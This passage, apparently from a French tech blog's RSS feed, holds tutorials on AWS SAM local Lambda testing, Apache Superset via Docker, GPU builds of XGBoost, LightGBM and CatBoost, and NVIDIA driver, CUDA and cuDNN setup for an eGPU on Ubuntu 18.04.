<pre tabindex="0"><code>aws s3 mb s3://votre-sam-bucket --region eu-west-1
</code></pre><p>Installer AWS SAM Cli:</p>
<blockquote>
<p>AWS recommande l&rsquo;utilisation de Homebrew pour l&rsquo;installation de SAM mais je préfère utiliser pip pour ne pas être contraint à passer de Python 3.6 à 3.7.</p></blockquote>
<pre tabindex="0"><code>pip install aws-sam-cli
</code></pre><p>Vérifier que SAM est bien installé:</p>
<pre tabindex="0"><code>sam --version

SAM CLI, version 0.19.0
</code></pre><br/>
<h2 id="première-application">Première application</h2>
<p>Créer une application squelette qui aura la structure suivante:</p>
<pre tabindex="0"><code>sam init --runtime python3.6

sam-app/
   ├── README.md
   ├── event.json
   ├── hello_world/
   │   ├── __init__.py
   │   ├── app.py            # Contains your AWS Lambda handler logic.
   │   └── requirements.txt  # Contains any Python dependencies the application requires, used for sam build
   ├── template.yaml         # Contains the AWS SAM template defining your application&#39;s AWS resources.
   └── tests/
       └── unit/
           ├── __init__.py
           └── test_handler.py
</code></pre><p>Builder l&rsquo;application:</p>
<pre tabindex="0"><code>cd sam-app
sam build
</code></pre><p>Une fois que l&rsquo;application a été buildée on peut la packager et l&rsquo;envoyer sur AWS ou la tester en local.</p>
<br/>
<p><strong>Option 1: Exécuter la fonction sur AWS</strong></p>
<p>Packager votre application:</p>
<pre tabindex="0"><code>sam package --output-template packaged.yaml --s3-bucket votre-sam-bucket
</code></pre><p>Déployer votre application:</p>
<pre tabindex="0"><code>sam deploy --template-file packaged.yaml --region eu-west-1 --capabilities CAPABILITY_IAM --stack-name aws-sam-getting-started
</code></pre><br/>
<p><strong>Option 2: Exécuter la fonction en local</strong></p>
<p>2 options s&rsquo;offrent à nous pour tester notre fonction lambda en local. On peut simuler une API REST qui appelera notre fonction si le bon endpoint est appelé ou on peut directement invoquer la fonction lambda via le cli.</p>
<br/>
<p><strong>Option 2.1: Simuler une API REST</strong></p>
<p>Dans un premier terminal lancer l&rsquo;API:</p>
<pre tabindex="0"><code>sam local start-api
</code></pre><p>Puis dans un second terminal exécuter la commande suivante:</p>
<pre tabindex="0"><code>curl http://127.0.0.1:3000/hello

{&#34;message&#34;: &#34;hello world&#34;}%
</code></pre><br/>
<p><strong>Option 2.2: Invoquer la fonction directement</strong>*</p>
<pre tabindex="0"><code>sam local invoke &#34;HelloWorldFunction&#34; -e event.json

{&#34;statusCode&#34;: 200, &#34;body&#34;: &#34;{\&#34;message\&#34;: \&#34;hello world\&#34;}&#34;}
</code></pre><br/>
<h2 id="events">Events</h2>
<p>Il est possible de simuler ses events AWS. <a href="https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/sam-cli-command-reference-sam-local-generate-event.html">L&rsquo;article suivant</a> décrit comment faire.</p>
<p>Examples:</p>
<ul>
<li>Simuler un event S3:</li>
</ul>
<pre tabindex="0"><code>sam local generate-event s3 [put/delete] --bucket &lt;bucket&gt; --key &lt;key&gt; &gt; s3-event.json
</code></pre><ul>
<li>Simuler un event sur AWS API Gateway:</li>
</ul>
<pre tabindex="0"><code>sam local generate-event apigateway aws-proxy --body &#34;&#34; --path &#34;hello&#34; --method GET &gt; api-event.json
</code></pre><ul>
<li>Simuler un event SNS:</li>
</ul>
<pre tabindex="0"><code>sam local generate-event sns notification --message \&#34;$(cat event.json)\&#34; | sam local invoke MyAwesomeLambda

# contenu de event.json:
{
  &#34;foo&#34;: &#34;bar&#34;
}
</code></pre><ul>
<li>Simuler un event et invoquer directement la lambda:</li>
</ul>
<pre tabindex="0"><code>sam local generate-event s3 [put/delete] --bucket &lt;bucket&gt; --key &lt;key&gt; | sam local invoke &lt;function logical id&gt;
</code></pre><br/>
<h2 id="exemples-dapplications-sam">Exemples d&rsquo;applications SAM</h2>
<p>AWS fourni <a href="https://github.com/awslabs/serverless-application-model/tree/master/examples/apps">un grand nombre d&rsquo;examples d&rsquo;applications</a>.</p>
<br/>
<h2 id="debug">Debug</h2>
<p>Avec remote_pdb, puisque SAM est basé sur Docker.
Dans votre code, ajoutez le snippet suivant là où vous voulez debugguer:</p>
<pre tabindex="0"><code>__import__(remote_pdb).RemotePdb(&#39;0.0.0.0&#39;, 5858).set_trace()
</code></pre><p>Puis, une fois votre container lancé soit par invocation d&rsquo;événement ou soit par la fonctionnalité API lancez le debugger avec la commande <code>telnet localhost 5858</code>.</p>
]]></content>
        </item>
        
        <item>
            <title>Installer Apache Superset avec Docker</title>
            <link>https://leandeep.com/installer-apache-superset-avec-docker/</link>
            <pubDate>Sun, 11 Aug 2019 00:46:43 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-apache-superset-avec-docker/</guid>
            <description>&lt;p&gt;&lt;code&gt;Apache Superset&lt;/code&gt; est un super outil Opensource (construit en React et Python) permettant de réaliser des dashboards d&amp;rsquo;analyse de données. Cet outil est gratuit et parfaitement responsive design. La documentation officielle est &lt;a href=&#34;https://superset.incubator.apache.org&#34;&gt;ici&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Son installation est aisée avec Docker.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Voici les commandes permettant de créer une instance avec toutes ses dépendances (Redis et Postgres) avec Docker:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;git clone https://github.com/apache/incubator-superset/
cd incubator-superset/contrib/docker
docker-compose run -e SUPERSET_LOAD_EXAMPLES=yes --rm superset ./docker-init.sh
docker-compose up
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Une fois le container principal (superset) lancé, il suffit de se rendre à l&amp;rsquo;adresse suivante http://localhost:8088 pour accéder à l&amp;rsquo;outil.
Une fois authentifié avec le compte créé durant l&amp;rsquo;installation, on peut commencer par créer une base de données. Si votre datasource est un CSV, cochez la case permettant d&amp;rsquo;uploader des CSV lors de la création de la base de données.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><code>Apache Superset</code> est un super outil Opensource (construit en React et Python) permettant de réaliser des dashboards d&rsquo;analyse de données. Cet outil est gratuit et parfaitement responsive design. La documentation officielle est <a href="https://superset.incubator.apache.org">ici</a>.</p>
<p>Son installation est aisée avec Docker.</p>
<br/>
<p>Voici les commandes permettant de créer une instance avec toutes ses dépendances (Redis et Postgres) avec Docker:</p>
<pre tabindex="0"><code>git clone https://github.com/apache/incubator-superset/
cd incubator-superset/contrib/docker
docker-compose run -e SUPERSET_LOAD_EXAMPLES=yes --rm superset ./docker-init.sh
docker-compose up
</code></pre><br/>
<p>Une fois le container principal (superset) lancé, il suffit de se rendre à l&rsquo;adresse suivante http://localhost:8088 pour accéder à l&rsquo;outil.
Une fois authentifié avec le compte créé durant l&rsquo;installation, on peut commencer par créer une base de données. Si votre datasource est un CSV, cochez la case permettant d&rsquo;uploader des CSV lors de la création de la base de données.</p>
<p>Vous pouvez ensuite créer de beaux dashboards avec des charts qui montrent les informations extraites pertinentes dont vous avez besoin.</p>
<p><img src="/images/superset-donnees-filtrees.png" alt="image"></p>
<br/>
<p>Vous pouvez construire des dashboards design:</p>
<p><img src="/images/superset-example.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Installer XGBoost, LightGBM et CatBoost sur Ubuntu 18.04</title>
            <link>https://leandeep.com/installer-xgboost-lightgbm-et-catboost-sur-ubuntu-18.04/</link>
            <pubDate>Fri, 19 Jul 2019 11:14:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-xgboost-lightgbm-et-catboost-sur-ubuntu-18.04/</guid>
            <description>&lt;h2 id=&#34;installation-de-xgboost&#34;&gt;Installation de XGBoost&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Installation simple&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Exécuter la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install xgboost
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;The default open-source XGBoost packages already include GPU support.&amp;rdquo;&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Build from source&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si cela ne fonctionne pas, compiler et installer XGBoost depuis les sources.&lt;/p&gt;
&lt;p&gt;Installer cmake pour builder xgboost. La version CMake 3.12 ou plus est requise.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get update
sudo apt install -y cmake
cmake --version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si ce n&amp;rsquo;est pas la bonne version désinstallez le avant de le réinstaller manuellement:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="installation-de-xgboost">Installation de XGBoost</h2>
<p><strong>Installation simple</strong></p>
<p>Exécuter la commande suivante:</p>
<pre tabindex="0"><code>pip install xgboost
</code></pre><blockquote>
<p>&ldquo;The default open-source XGBoost packages already include GPU support.&rdquo;</p></blockquote>
<br/>
<p><strong>Build from source</strong></p>
<p>Si cela ne fonctionne pas, compiler et installer XGBoost depuis les sources.</p>
<p>Installer cmake pour builder xgboost. La version CMake 3.12 ou plus est requise.</p>
<pre tabindex="0"><code>sudo apt-get update
sudo apt install -y cmake
cmake --version
</code></pre><p>Si ce n&rsquo;est pas la bonne version désinstallez le avant de le réinstaller manuellement:</p>
<pre tabindex="0"><code>sudo apt purge cmake

# Download source
version=3.14
build=5
mkdir ~/temp
cd ~/temp
wget https://cmake.org/files/v$version/cmake-$version.$build.tar.gz
tar -xzvf cmake-$version.$build.tar.gz
cd cmake-$version.$build/

# Build et installation
./bootstrap
make -j4 &amp;&amp; sudo make install

# Vérification de la version
cmake --version
</code></pre><p>Déterminer le compute capability de votre carte graphique pour l&rsquo;indiquer à la prochaine commande dans le flag <code>-DGPU_COMPUTE_VER=</code>:</p>
<pre tabindex="0"><code>cd ~/NVIDIA_CUDA-9.0_Samples/1_Utilities/deviceQuery
make 
./deviceQuery

./deviceQuery Starting...

 CUDA Device Query (Runtime API) version (CUDART static linking)

Detected 1 CUDA Capable device(s)

Device 0: &#34;GeForce GTX 660 Ti&#34;
  CUDA Driver Version / Runtime Version          9.1 / 9.0
  CUDA Capability Major/Minor version number:    3.0
  Total amount of global memory:                 2000 MBytes (2097086464 bytes)
  ( 7) Multiprocessors, (192) CUDA Cores/MP:     1344 CUDA Cores
  GPU Max Clock rate:                            980 MHz (0.98 GHz)
  Memory Clock rate:                             3004 Mhz
  Memory Bus Width:                              192-bit
  L2 Cache Size:                                 393216 bytes
  Maximum Texture Dimension Size (x,y,z)         1D=(65536), 2D=(65536, 65536), 3D=(4096, 4096, 4096)
  Maximum Layered 1D Texture Size, (num) layers  1D=(16384), 2048 layers
  Maximum Layered 2D Texture Size, (num) layers  2D=(16384, 16384), 2048 layers
  Total amount of constant memory:               65536 bytes
  Total amount of shared memory per block:       49152 bytes
  Total number of registers available per block: 65536
  Warp size:                                     32
  Maximum number of threads per multiprocessor:  2048
  Maximum number of threads per block:           1024
  Max dimension size of a thread block (x,y,z): (1024, 1024, 64)
  Max dimension size of a grid size    (x,y,z): (2147483647, 65535, 65535)
  Maximum memory pitch:                          2147483647 bytes
  Texture alignment:                             512 bytes
  Concurrent copy and kernel execution:          Yes with 1 copy engine(s)
  Run time limit on kernels:                     Yes
  Integrated GPU sharing Host Memory:            No
  Support host page-locked memory mapping:       Yes
  Alignment requirement for Surfaces:            Yes
  Device has ECC support:                        Disabled
  Device supports Unified Addressing (UVA):      Yes
  Supports Cooperative Kernel Launch:            No
  Supports MultiDevice Co-op Kernel Launch:      No
  Device PCI Domain ID / Bus ID / location ID:   0 / 6 / 0
  Compute Mode:
     &lt; Default (multiple host threads can use ::cudaSetDevice() with device simultaneously) &gt;

deviceQuery, CUDA Driver = CUDART, CUDA Driver Version = 9.1, CUDA Runtime Version = 9.0, NumDevs = 1
Result = PASS
</code></pre><p>La ligne qui nous intéresse est la suivante <code>CUDA Capability Major/Minor version number:    3.0</code></p>
<p>Dans le flag <code>-DGPU_COMPUTE_VER=</code> vous pourrez indiquer la valeur <code>30</code>.</p>
<blockquote>
<p><strong>Cette carte graphique n&rsquo;est plus compatible avec XGBoost. Le minimum requis d&rsquo;après le site officiel est <code>CUDA 9.0, Compute Capability 3.5 required</code></strong>. <a href="https://xgboost.readthedocs.io/en/latest/gpu/">https://xgboost.readthedocs.io/en/latest/gpu/</a></p></blockquote>
<p>Builder XGBoost:</p>
<pre tabindex="0"><code>cd ~ &amp;&amp; \
    git clone --recursive https://github.com/dmlc/xgboost &amp;&amp; \
    cd xgboost &amp;&amp; mkdir build &amp;&amp; cd build &amp;&amp; cmake -DCUDA_HOST_COMPILER=/usr/bin/gcc-6 -DGPU_COMPUTE_VER=35 -DUSE_CUDA=ON .. &amp;&amp; make -j
</code></pre><p>Installer XGBoost:</p>
<pre tabindex="0"><code>cd ../python-package
sudo python3 setup.py install
</code></pre><br/>
<p><strong>Vérification du bon fonctionnement d&rsquo;XGBoost</strong></p>
<pre tabindex="0"><code>git clone https://github.com/dmlc/xgboost
cd xgboost

python3 # ou workon votre_environnement_virtuel &amp;&amp; python
Puis exécutez les commandes Python suivantes:

import xgboost as xgb
# read in data
dtrain = xgb.DMatrix(&#39;demo/data/agaricus.txt.train&#39;)
dtest = xgb.DMatrix(&#39;demo/data/agaricus.txt.test&#39;)
# specify parameters via map
param = {&#39;max_depth&#39;:2, &#39;eta&#39;:1, &#39;silent&#39;:1, &#39;objective&#39;:&#39;binary:logistic&#39; }
num_round = 2
bst = xgb.train(param, dtrain, num_round)
# make prediction
preds = bst.predict(dtest)
print(preds)
</code></pre><br/>
<h2 id="installation-de-lightgbm">Installation de LightGBM</h2>
<p>Installation des dépendances:</p>
<pre tabindex="0"><code>sudo apt install -y \
    libboost-dev \
    libboost-system-dev \
    libboost-filesystem-dev
</code></pre><p>Build:</p>
<pre tabindex="0"><code>cd ~ &amp;&amp; \
    git clone --recursive https://github.com/Microsoft/LightGBM &amp;&amp; \
    cd LightGBM &amp;&amp; mkdir build &amp;&amp; cd build &amp;&amp; \
    cmake -DUSE_GPU=1 -DOpenCL_LIBRARY=/usr/local/cuda-9.0/lib64/libOpenCL.so -DOpenCL_INCLUDE_DIR=/usr/local/cuda-9.0/include/ .. &amp;&amp; \
    make -j
    
</code></pre><p>Installation:</p>
<pre tabindex="0"><code>cd ../python-package
sudo python setup.py install --precompile
</code></pre><p>Vérifier le bon fonctionnement de LightGBM:</p>
<pre tabindex="0"><code>cd ~/LightGBM/examples/python-guide/
pip install scikit-learn pandas matplotlib scipy -U
python3 simple_example.py

Loading data...
Starting training...
[1]	valid_0&#39;s l1: 0.492841	valid_0&#39;s l2: 0.243898
Training until validation scores don&#39;t improve for 5 rounds.
[2]	valid_0&#39;s l1: 0.489327	valid_0&#39;s l2: 0.240605
[3]	valid_0&#39;s l1: 0.484931	valid_0&#39;s l2: 0.236472
[4]	valid_0&#39;s l1: 0.480567	valid_0&#39;s l2: 0.232586
[5]	valid_0&#39;s l1: 0.475965	valid_0&#39;s l2: 0.22865
[6]	valid_0&#39;s l1: 0.472861	valid_0&#39;s l2: 0.226187
[7]	valid_0&#39;s l1: 0.469847	valid_0&#39;s l2: 0.223738
[8]	valid_0&#39;s l1: 0.466258	valid_0&#39;s l2: 0.221012
[9]	valid_0&#39;s l1: 0.462751	valid_0&#39;s l2: 0.218429
[10]	valid_0&#39;s l1: 0.458755	valid_0&#39;s l2: 0.215505
[11]	valid_0&#39;s l1: 0.455252	valid_0&#39;s l2: 0.213027
[12]	valid_0&#39;s l1: 0.452051	valid_0&#39;s l2: 0.210809
[13]	valid_0&#39;s l1: 0.448764	valid_0&#39;s l2: 0.208612
[14]	valid_0&#39;s l1: 0.446667	valid_0&#39;s l2: 0.207468
[15]	valid_0&#39;s l1: 0.444211	valid_0&#39;s l2: 0.206009
[16]	valid_0&#39;s l1: 0.44186	valid_0&#39;s l2: 0.20465
[17]	valid_0&#39;s l1: 0.438508	valid_0&#39;s l2: 0.202489
[18]	valid_0&#39;s l1: 0.435919	valid_0&#39;s l2: 0.200668
[19]	valid_0&#39;s l1: 0.433348	valid_0&#39;s l2: 0.19925
[20]	valid_0&#39;s l1: 0.431211	valid_0&#39;s l2: 0.198136
Did not meet early stopping. Best iteration is:
[20]	valid_0&#39;s l1: 0.431211	valid_0&#39;s l2: 0.198136
Saving model...
Starting predicting...
The rmse of prediction is: 0.44512434910807497
</code></pre><br/>
<h2 id="installation-de-catboost">Installation de CatBoost</h2>
<p>Simplement:</p>
<pre tabindex="0"><code>pip install catboost
</code></pre><p>Installer l&rsquo;outil de visualisation:</p>
<pre tabindex="0"><code>pip install ipywidgets
</code></pre><pre tabindex="0"><code># Turn on the widgets extension:
jupyter nbextension enable --py widgetsnbextension
</code></pre><p>Pour tester le bon fonctionnement vous pouvez créer un fichier <code>test.py</code> et y insérer le code suivant:</p>
<pre tabindex="0"><code>from catboost import Pool, CatBoostClassifier

train_data = [[&#34;summer&#34;, 1924, 44],
              [&#34;summer&#34;, 1932, 37],
              [&#34;winter&#34;, 1980, 37],
              [&#34;summer&#34;, 2012, 204]]

eval_data = [[&#34;winter&#34;, 1996, 197],
             [&#34;winter&#34;, 1968, 37],
             [&#34;summer&#34;, 2002, 77],
             [&#34;summer&#34;, 1948, 59]]

cat_features = [0]

train_label = [&#34;France&#34;, &#34;USA&#34;, &#34;USA&#34;, &#34;UK&#34;]
eval_label = [&#34;USA&#34;, &#34;France&#34;, &#34;USA&#34;, &#34;UK&#34;]


train_dataset = Pool(data=train_data,
                     label=train_label,
                     cat_features=cat_features)

eval_dataset = Pool(data=eval_data,
                    label=eval_label,
                    cat_features=cat_features)

# Initialize CatBoostClassifier
model = CatBoostClassifier(iterations=10,
                           learning_rate=1,
                           depth=2,
                           loss_function=&#39;MultiClass&#39;,
                           task_type=&#34;GPU&#34;)
# Fit model
model.fit(train_dataset)
# Get predicted classes
preds_class = model.predict(eval_dataset)
# Get predicted probabilities for each class
preds_proba = model.predict_proba(eval_dataset)
# Get predicted RawFormulaVal
preds_raw = model.predict(eval_dataset,
                          prediction_type=&#39;RawFormulaVal&#39;)
</code></pre><p>Après l&rsquo;avoir exécuté le code précédent un training sera réalisé sur GPU. <a href="https://catboost.ai/docs/features/training-on-gpu.html#training-on-gpu">Le lien suivant</a> décrit comment faire. Si tout est ok vous devriez obtenir le résultat suivant:</p>
<pre tabindex="0"><code>0:	learn: -0.9623099	total: 8.48ms	remaining: 76.3ms
1:	learn: -0.7421078	total: 14.6ms	remaining: 58.3ms
2:	learn: -0.5898572	total: 20.2ms	remaining: 47.2ms
3:	learn: -0.4816516	total: 26.3ms	remaining: 39.4ms
4:	learn: -0.4023528	total: 31.8ms	remaining: 31.8ms
5:	learn: -0.3545669	total: 37.2ms	remaining: 24.8ms
6:	learn: -0.3052314	total: 42.1ms	remaining: 18ms
7:	learn: -0.2666318	total: 47.6ms	remaining: 11.9ms
8:	learn: -0.2358041	total: 53ms	remaining: 5.89ms
9:	learn: -0.2107419	total: 57.9ms	remaining: 0us
</code></pre><br/>
<h2 id="comparaison-des-3-algorithmes-de-boosting">Comparaison des 3 algorithmes de Boosting</h2>
<p>Un article très intéressant comparant les 3 algorithmes est disponible <a href="https://towardsdatascience.com/catboost-vs-light-gbm-vs-xgboost-5f93620723db">à l&rsquo;adresse suivante</a>.</p>
<p>Voici un tableau comparatif extrait de cet article:</p>
<p><img src="/images/lightGBM-vs-CatBoost-vs-XGBoost.png" alt="image"></p>
<p>Au vu de ces résultats, je pencherais soit sur l&rsquo;utilisation de CatBoost si les délais d&rsquo;inférence sont un enjeu. Dans le cas contraire, vue les résultats de LightGBM et sa durée d&rsquo;entrainement nécessaire par rapport à XGBoost je partirais sur LightGBM.</p>
]]></content>
        </item>
        
        <item>
            <title>Installer un eGPU sur un Intel Nuc avec Ubuntu 18.04</title>
            <link>https://leandeep.com/installer-un-egpu-sur-un-intel-nuc-avec-ubuntu-18.04/</link>
            <pubDate>Thu, 18 Jul 2019 12:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-un-egpu-sur-un-intel-nuc-avec-ubuntu-18.04/</guid>
            <description>&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/IMG_35783.JPG&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><img src="/images/IMG_35783.JPG" alt="image"></p>
<br/>
<h2 id="introduction">Introduction</h2>
<p>J&rsquo;ai récemment fait l&rsquo;acquisition d&rsquo;un Intel Nuc (Core i7 et 32 go de RAM). Franchement je suis vraiment satisfait. Il est petit, leger, sobre, stylé, consomme peu et celui que j&rsquo;ai choisi a du Thunderbolt 3. C&rsquo;est d&rsquo;ailleurs pour cela que je l&rsquo;ai acheté.</p>
<p>Qui dit Thunderbolt 3 dit eGPU. Et qui dit eGPU dit tensorflow-gpu !..</p>
<p>J&rsquo;ai recyclé une ancienne carte graphique qui trainaient dans un ancien PC. Il s&rsquo;agit d&rsquo;une <code>Geforce GTX 660 Ti</code> achetée en 2012 aux USA. Elle ne vaut sans doute plus grand chose aujourd&rsquo;hui. Mais pourtant elle va nous être bien utile; soit pour miner (nouveau centre d&rsquo;intérêt) soit pour entraîner mes modèles de Machine / Deep Learning.<br>
J&rsquo;ai aussi fait l&rsquo;acquisition d&rsquo;un boitier eGPU. J&rsquo;ai pris un Razer Core X. C&rsquo;est la première fois que j&rsquo;achète du Razer. Ce premier achat me satisfait vraiment car il est de très bonne qualité.</p>
<br/>
<p><strong>Dans cet article nous allons voir comment installer les drivers pour que la carte graphique utilisée dans le boitier eGPU soit reconnue et comment installer les outils nécessaires pour que Tensorflow puisse être compilé et fonctionner avec ce dernier. J&rsquo;ai beaucoup galéré pour faire fonctionner le tout. J&rsquo;espère que cet article pourra vous faire économiser des heures pour rien.</strong></p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<p>Le kernel que j&rsquo;utilise est le <code>4.18.0</code>. Il y a pleins d&rsquo;articles sur internet qui disent de mettre à jour le Kernel avant de commencer. Je l&rsquo;ai fait et cela n&rsquo;a pas fonctionné. J&rsquo;ai testé le <code>5.2</code> et j&rsquo;ai dû faire machine arrière&hellip;</p>
<br/>
<h2 id="questions">Questions!</h2>
<p><strong>Comment connaître la version du kernel ?</strong></p>
<p>Tout simplement avec la commande:</p>
<pre tabindex="0"><code>cat /proc/version
</code></pre><br/>
<p><strong>Comment mettre à jour le kernel ?</strong></p>
<p>En ligne de commande ou via une petite interface graphique:</p>
<pre tabindex="0"><code># Installer ukuu
sudo apt-add-repository ppa:teejee2008/ppa
sudo apt update
sudo apt-get install ukuu
# Lancer l&#39;interface
sudo ukuu-gtk
</code></pre><br/>
<p><strong>Comment backuper sa machine avant de la bidouiller ?</strong></p>
<p>Très bonne question! Heureusement avant chaque manipulation délicate j&rsquo;ai snapshoté ma machine. J&rsquo;ai pris le risque de laisser le snapshot dessus en toute connaissance de cause. Vous pouvez le sortir si vraiment vous craignez de ne pas pouvoir réparer votre machine. Je vous conseille juste d&rsquo;installer SSH pour pouvoir vous connecter dessus au cas où Gnome ne démarre même plus&hellip;</p>
<p>Je réalise mes snapshots avec Timeshift. Il y a une interface graphique mais apprenez à l&rsquo;utiliser en lignes de commande. Ce n&rsquo;est pas le jour où tout est crashé qu&rsquo;il faut se demander comment faire :D .</p>
<pre tabindex="0"><code># Installation de Timeshift
sudo apt-add-repository -y ppa:teejee2008/ppa &amp;&amp; sudo apt-get update &amp;&amp; sudo apt-get install timeshift
# Créer un snapshot 
# sudo timeshift --create --comments &#34;after cuda installation&#34; --tags D
# Voir les snapshots
sudo timeshift --list
# Restaurer un snapshot 
# sudo timeshift --restore
</code></pre><br/>
<p><strong>Est-ce que le GPU installé dans le boitier eGPU est bien détecté ?</strong></p>
<pre tabindex="0"><code>lspci | grep -i nvidia

06:00.0 VGA compatible controller: NVIDIA Corporation GK104 [GeForce GTX 660 Ti] (rev a1)
</code></pre><br/>
<h2 id="installation">Installation</h2>
<p><strong>Configurer GCC et G++</strong></p>
<p>Il vous faudra une utiliser la version 6 de <code>GCC</code> et <code>G++</code> pour builder Tensorflow. Si vous avez une version plus récente cela ne fonctionnera pas.</p>
<pre tabindex="0"><code>gcc --version
g++ --version
</code></pre><p>Installer gcc et g++ 6:</p>
<pre tabindex="0"><code>sudo apt install gcc-6 g++-6
</code></pre><p>Créer les variables d&rsquo;environnement permettant de sélectionner la bonne version dans le fichier <code>~/.zshrc</code>.</p>
<pre tabindex="0"><code>export CC=/usr/bin/gcc-6
export CXX=/usr/bin/g++-6
</code></pre><br/>
<p><strong>Installer les Drivers Nvidia</strong></p>
<p>Enlever les nouveaux drivers qui viennent avec l&rsquo;installation d&rsquo;Ubuntu. Identifier les avec la commande:</p>
<pre tabindex="0"><code>lsmod | grep nouveau
</code></pre><p>Créer un fichier <code>/etc/modprobe.d/blacklist-nouveau.conf</code> et ajouter lui le contenu suivant:</p>
<pre tabindex="0"><code>blacklist nouveau
options nouveau modeset=0
</code></pre><p>Régénérer le Kernel initramfs:</p>
<pre tabindex="0"><code>sudo update-initramfs -u
</code></pre><p>On peut maintenant installer le Driver Nvidia nécessaire au bon fonctionnement de mon GPU:</p>
<pre tabindex="0"><code>sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt install nvidia-384 nvidia-384-dev
sudo reboot
</code></pre><p>Après le reboot vérifier que tout fonctionne avecc la commande <code>nvidia-smi</code>. Si vous avez un résultat similaire à celui-ci vous êtes sur la bonne voie.</p>
<pre tabindex="0"><code>+-----------------------------------------------------------------------------+
| NVIDIA-SMI 390.116                Driver Version: 390.116                   |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|===============================+======================+======================|
|   0  GeForce GTX 660 Ti  Off  | 00000000:06:00.0 N/A |                  N/A |
| 30%   26C    P8    N/A /  N/A |    162MiB /  1999MiB |     N/A      Default |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                       GPU Memory |
|  GPU       PID   Type   Process name                             Usage      |
|=============================================================================|
|    0                    Not Supported                                       |
+-----------------------------------------------------------------------------+
</code></pre><br/>
<p><strong>Installer Cuda</strong></p>
<p>On peut maintenant passer à l&rsquo;installation de Cuda.
J&rsquo;ai beaucoup galéré à cette étape car j&rsquo;ai essayé d&rsquo;installer les dernières versione de Cuda. Au moment où j&rsquo;écris cet article il s&rsquo;agissait de la version 10.1. Cette dernière n&rsquo;a pas fonctionné car trop récente pour mon GPU.
J&rsquo;ai donc installé la <code>cuda version 9.0</code> à partir de ce fichier précisément <code>cuda_9.0.176_384.81_linux-run</code>.</p>
<pre tabindex="0"><code>wget https://developer.nvidia.com/compute/cuda/9.0/Prod/local_installers/cuda_9.0.176_384.81_linux-run
chmod +x cuda_9.0.176_384.81_linux.run 
sudo ./cuda_9.0.176_384.81_linux.run --override
</code></pre><ul>
<li>
<p>Pendant l&rsquo;installation dire yes à &ldquo;You are attempting to install on an unsupported configuration. Do you wish to continue?&rdquo;</p>
</li>
<li>
<p>Dire no à &ldquo;Install NVIDIA Accelerated Graphics Driver for Linux-x86_64 384.81?&rdquo;</p>
</li>
<li>
<p>Dire yes à &ldquo;Install the CUDA 9.0 Toolkit?&rdquo;</p>
</li>
<li>
<p>Dire yes à &ldquo;Create symbolic links?&rdquo;</p>
</li>
<li>
<p>Dire yes à l&rsquo;installation des examples Cuda et installer les dans le répertoire proposé par défaut.</p>
</li>
</ul>
<p>Vous pouvez vérifier la bonne installation de Cuda avec la commande:</p>
<pre tabindex="0"><code>nvcc -V

nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2017 NVIDIA Corporation
Built on Fri_Sep__1_21:08:03_CDT_2017
Cuda compilation tools, release 9.0, V9.0.176
</code></pre><br/>
<p><strong>Installer CudNN</strong></p>
<p>Connectez-vous au site <a href="https://developer.nvidia.com/cudnn">https://developer.nvidia.com/cudnn</a> et téléchargez le package suivant <code>cudnn-9.0-linux-x64-v7.3.0.29</code>. Ensuite installez le.</p>
<pre tabindex="0"><code>tar -xzvf cudnn-9.0-linux-x64-v7.3.0.29.tgz
sudo cp -P cuda/include/cudnn.h /usr/local/cuda-9.0/include
sudo cp -P cuda/lib64/libcudnn* /usr/local/cuda-9.0/lib64/
sudo chmod a+r /usr/local/cuda-9.0/lib64/libcudnn*
</code></pre><br/>
<p><strong>Installer libcudnn</strong></p>
<p>Connectez-vous au site <a href="https://developer.nvidia.com/cudnn">https://developer.nvidia.com/cudnn</a> et téléchargez les 3 packages <code>libcudnn7_7.3.0.29-1+cuda9.0_amd64.deb</code>, <code>libcudnn7-dev_7.3.0.29-1+cuda9.0_amd64.deb</code> et <code>libcudnn7-doc_7.3.0.29-1+cuda9.0_amd64.deb</code>. Attention les numéros de versions sont à respecter. J&rsquo;ai aussi perdu beaucoup de temps sur cela.</p>
<p>Installez les:</p>
<pre tabindex="0"><code>sudo dpkg -i libcudnn7_7.3.0.29-1+cuda9.0_amd64.deb
sudo dpkg -i libcudnn7-dev_7.3.0.29-1+cuda9.0_amd64.deb
sudo dpkg -i libcudnn7-doc_7.3.0.29-1+cuda9.0_amd64.deb
</code></pre><p>Vérifier que cudnn est bien installé:</p>
<pre tabindex="0"><code># Copy the cuDNN sample to a writable path.
cp -r /usr/src/cudnn_samples_v7/ $HOME
# Go to the writable path.
cd  $HOME/cudnn_samples_v7/mnistCUDNN
# Compile the mnistCUDNN sample.
make clean &amp;&amp; make
# Run the mnistCUDNN sample.
./mnistCUDNN
